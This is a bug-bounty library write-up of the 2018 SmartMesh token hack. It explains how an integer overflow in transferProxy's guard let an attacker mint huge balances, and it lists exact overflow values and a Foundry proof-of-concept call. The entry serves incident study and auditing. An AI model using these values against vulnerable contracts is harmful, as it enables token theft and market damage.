# SmartMesh: integer overflow in transferProxy mints tokens from nothing

SmartMesh ERC20 transferProxy lacked overflow checks; crafted _value+_feeSmt wrapping to zero minted huge token balances to attacker, crashing price.

- Payout: Real-world hack
- Severity: critical
- Program: SmartMesh
- Analysis by: DeFiHackLabs
- Disclosed: 2018-04-24
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2018-04/SmartMesh_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20180424-smartmesh
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:accounting-error

**Target:** ERC20 token contract transferProxy function
**Root cause:** transferProxy's balance check `balances[_from] < _feeSmt + _value` overflows when _feeSmt + _value wraps to 0, so the check passes with a zero-balance _from; the subsequent `balances[_from] -= _value + _feeSmt` subtracts 0 while `balances[_to] += _value` credits a massive amount.
**Steps:**
1. Call `transferProxy(_from, _to, _value, _feeSmt, _v, _r, _s)` with `_value = 0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff` and `_feeSmt = 0x7000000000000000000000000000000000000000000000000000000000000001` so `_value + _feeSmt` wraps to 0
2. Set `_from` and `_to` to the same zero-balance address `0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F`
3. First check `balances[_from] < _feeSmt + _value` evaluates 0 < 0, false, so no revert
4. Second check `balances[_to] + _value < balances[_to]` is false since balances[_to] is 0, so no revert
5. `balances[_to] += _value` credits the attacker a massive token balance; `balances[_from] -= _value + _feeSmt` subtracts 0
**How found:** Researcher recognized the classic integer overflow pattern: the guard `balances[_from] < _feeSmt + _value` performs unchecked addition, so picking _value and _feeSmt that sum to 2^256 lets the check pass against a zero balance while the credit uses the raw _value.
**Exploitation:** Attacker submitted a single transaction to transferProxy with _from == _to == a zero-balance address and _value/_feeSmt chosen so their sum overflows to exactly 0. Both guard checks passed, the recipient balance was incremented by the huge _value, and the sender was debited 0, minting tokens out of thin air which were then dumped on exchanges, crashing the price >90% before trading was halted.
**Insight:** In pre-0.8 Solidity, audit every unchecked arithmetic in a require/if guard separately from the state update it protects: an overflow that makes the guard's sum wrap to 0 can pass a zero-balance check while the later `+=` still credits the full raw value. Also note SafeMath presence elsewhere doesn't protect a line that bypasses it (BeautyChain's `uint256(cnt) * _value`).

## Proof of concept (copied exactly from the original report)

**Foundry PoC calling transferProxy with overflow values**

```
address _from = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;
        address _to = 0xDF31A499A5A8358b74564f1e2214B31bB34Eb46F;
        uint256 _value = uint256(0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        uint256 _feeSmt = uint256(0x7000000000000000000000000000000000000000000000000000000000000001);
        uint8 _v = uint8(0x000000000000000000000000000000000000000000000000000000000000001b);
        bytes32 _r = 0x87790587c256045860b8fe624e5807a658424fad18c2348460e40ecf10fc8799;
        bytes32 _s = 0x6c879b1e8a0a62f23b47aa57a3369d416dd783966bd1dda0394c04163a98d8d8;
        ISmartMesh(Victim).transferProxy(_from, _to, _value, _feeSmt, _v, _r, _s);
```

